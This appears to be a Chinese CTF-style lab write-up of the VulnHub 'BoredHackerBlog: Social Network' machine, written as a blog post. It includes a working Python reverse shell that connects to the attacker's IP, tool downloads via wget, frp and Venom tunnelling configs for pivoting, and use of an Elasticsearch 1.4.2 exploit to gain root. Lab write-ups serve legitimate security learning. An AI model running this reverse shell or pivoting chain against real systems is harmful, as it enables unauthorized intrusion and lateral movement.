【VulnHub靶场】-- BOREDHACKERBLOG: SOCIAL NETWORK

前言:虽然本次靶场是跟着别人的教程做的,但是也收获了很多的知识。然后就是自己也还要努力,争取可以自己独立打完一个这样的靶场!

一、环境搭建

BOREDHACKERBLOG: SOCIAL NETWORK(中等难度),靶场环境来源于VulnHub

靶场地址 BoredHackerBlog: Social Network ~ VulnHub

搭建环境我使用的是VirtualBox,然后还需要再同网段整一个kali,然后都用桥接模式!

二、信息收集

1、主机发现

目前我们只知道目标机器和我们在同一网段,所以我们要做一下当前网段的主机存活探测,找到目标的ip地址,也就是主机发现

使用kali自带的一个工具arp-scan扫描工具扫描局域网内的主机

arp-scan -l

image-20230722141337592

扫到了一个ip为192.168.192.185的机器,这就是目标机器。

2、端口扫描

找到ip之后我们就开始端口扫描,看看他都开放了哪些服务。

使用nmap

namp -A 192.168.192.185

image-20230722141759119

提示:如果对扫描的结果看的很蒙蔽的话,直接复制扔到chatgpt。

image-20230722142354097

从结果分析我们可以看到他开放了22、5000两个端口。22端口的ssh服务我们可以用九头蛇爆破一下,当然我们先从5000端口的web服务入手。

image-20230722142522403

我们可以看的出来这是一个后端语言为python的web服务。

3、目录扫描

打开网页时这样的

image-20230722142712742

使用dirsearch去扫一下他的网站路径。

image-20230722144011539

发现了一个/admin的路径,访问一下

image-20230722143013518

二、渗透测试

1、反弹shell

访问之后可以看到出现了一个代码输入页面,提示我们输入代码来执行,应该是说网站会执行我们输入的代码,再结合刚才信息收集时发现目标后端语言是python,这里我们直接尝试用python的反弹shell脚本来获取目标权限

现在kali开启一个监听端口

nc -lvp 9999

反弹shell:

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.192.204",9999));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
import pty; pty.spawn("sh")

image-20230722144111993

image-20230722161032510

成功连接后,发现我们是root权限。

2、服务发现

就在ls查找文件的时候看到了一个dockerfile文件,此时就开始怀疑我们目前只是拿到了一个docker容器内主机的权限

验证是否只是拿到了一个docker容器内主机的权限:

cat /proc/1/cgroup 

这个命令可以查看Linux 初始化进程 id:1 的 cgroup 中包含的文件,如果里面有 docker 镜像信息的时候,可以确定是 docker容器

image-20230722161118509

接下来我们就是要跳出这个docker容器了。接下来就从内网层面入手了:

首先瞅瞅ip:

image-20230722161211008

可以看到该docker容器当前处于 127.17.0.3 显然和宿主机的 IP 是不同的

docker 容器的这个网段可以认为是目标的内网网段,接下来要思考的是:

有没有其他主机呢?

其他主机有没有存在什么漏洞呢?

是否能通过漏洞获得更多信息呢?

3、内网主机存活探测

因为在内网没有工具,就挨个ping看哪个能ping通,命令如下:

for i in $(seq 1 65535);do ping -c 1 172.17.0.$i; done

image-20230722161539115

最后看到有三个可以ping通。

4、内网穿透

因为我们只拿到了一台docker机器,并且处于内网中,但是接下来又对其他两台主机进行扫描,因为 kali 这些工具不能直接用在内网环境中,所以需要做隧道进行内网穿透,才能对另外两台主机进行渗透。推荐两个工具都特别的好用,一个是frp,一个是venom

frp下载地址:Releases · fatedier/frp (github.com)

venom下载地址:Release Venom v1.1.0 · Dliv3/Venom (github.com)

两个工具这里都讲一下,因为都特别好用:

4.1、frp

(1)把工具穿到内网环境中

我们使用python起一个http服务(工具放到当前路径下),然后内网机器使用wget下载

python -m http.server 6666

image-20230722162151511

wget http://192.168.192.204:6666/xxx.tar.gz

上传之后我们解压配置:

image-20230722162402425

可以看到他的目录结构:

frps指服务端,frpc指客户端

(2)在kali上部署服务端(frps.ini):

[common]

Bind_addr = 0.0.0.0   #服务端监听地址 默认0.0.0.0
bind_port = 7000    #服务端监听端口

dashboard_port = 7500  #状态以及代理统计信息展示,vpsip:7500可查看详情

dashboard_user = admin     #访问用户
dashboard_pwd = password    # dashboard_pwd访问密码

log_file = ./frps.log    #log_file日志文件
log_level = info    # log_level记录的日志级别
log_max_days = 3     # log_max_days日志留存3天


max_pool_count = 50   #max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数

allow_ports = 40000-50000  #允许代理绑定的服务端端口

image-20230722162857690

(2)内网中配置客户端(frpc.ini):

[common]
server_addr = vps的ip地址     #连接服务端的地址
server_port = 7000     #连接服务端的端口
tls_enable = ture      #启用 TLS 协议加密连接
pool_count = 5    #连接池大小

[plugin_socks]
type = tcp
remote_port = 46075
plugin = socks5
plugin_user = admin
plugin_passwd = admin123
use_encryption = true
use_compression = true

image-20230722163035355

(3)先启动服务端开始监听,在启动客户端

./frps -c frps.ini

image-20230722163132882

./frpc -c frpc.ini

image-20230722163205769

最后这样就是成功了:

image-20230722163333104

4.2、venom

(1)上传解压同上边步骤一样

(2)首先kali上开启监听

./admin_linux_x64 -lport 7777

image-20230722163648370

(2)目标回弹

./agent_linux_x64 -rhost 你的kali攻击机的ip -rport 7777

image-20230722163836520

image-20230722163912967

上边这样就是成功了

(3)开启代理

show——列出连接的节点

goto——切换到目标节点

socks——在本机的指定端口开启代理服务,通过该端口的数据都会经过代理节点

image-20230722164102998

4.3、配置本机代理

以venom配置好的来示范:

现在代理服务是配置好了,但是我们的搭建代理的目标是让kali上的工具可以对目标进行操作,所以我们还需要挂载proxychains,修改**/etc/proxychains4.conf文件,注释掉最初的代理配置,添加本机8888端口**的代理配置,即:

vim /etc/proxychains4.conf

image-20230722164402309

修改好之后kali上所有的工具使用时只要前面加上了proxychains就会流经代理节点

5、内网信息收集

内网穿透建立的连接使用nmap扫描目标机器的时候一定要加上-Pn再扫描,因为此时连接可能不是这么稳定,有可能探测不到然后nmap就认为目标没有存活,从而不去扫描,所以需要Pn使nmap默认主机存活

proxychains nmap  -Pn -sT 172.17.0.1 

172.17.0.1

image-20230722164628990

172.17.0.2

image-20230722164658474

可以看到172.17.0.2开启了一个9000的端口,我们深入了解一下

proxychains nmap  -Pn -sT -p 9200 -sV 172.17.0.2

image-20230722165014620

image-20230722165351329

分析完之后可以看到9200端口上的是Elasticsearch 服务,版本为 1.4.2

6、漏洞利用

使用kali自带的searchsploit漏洞查找工具,这里我们直接用这个工具来查找有没有相关的漏洞和shellcode

使用方法: searchsploit + 想查找的信息

返回结果: 包含该信息的漏洞shellcode

searchsploit Elasticsearch

image-20230722165648939

直接把第一个文件复制到当前文件下,cat查看该文件发现是用python2写的

cp /usr/share/exploitdb/exploits/linux/remote/36337.py 36337.py

image-20230722170005660

image-20230722171648495

拿到172.17.0.2的root权限。

最终ls会找到一个passwd然后里边有账号密码,然后只有john用户可以登录,然后不是root权限,需要提权。由于我不会提权,后边就没有继续做了。

参考文章:

https://blog.csdn.net/qq_63844103/article/details/127583246

https://www.cnblogs.com/hackmang/p/14516969.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值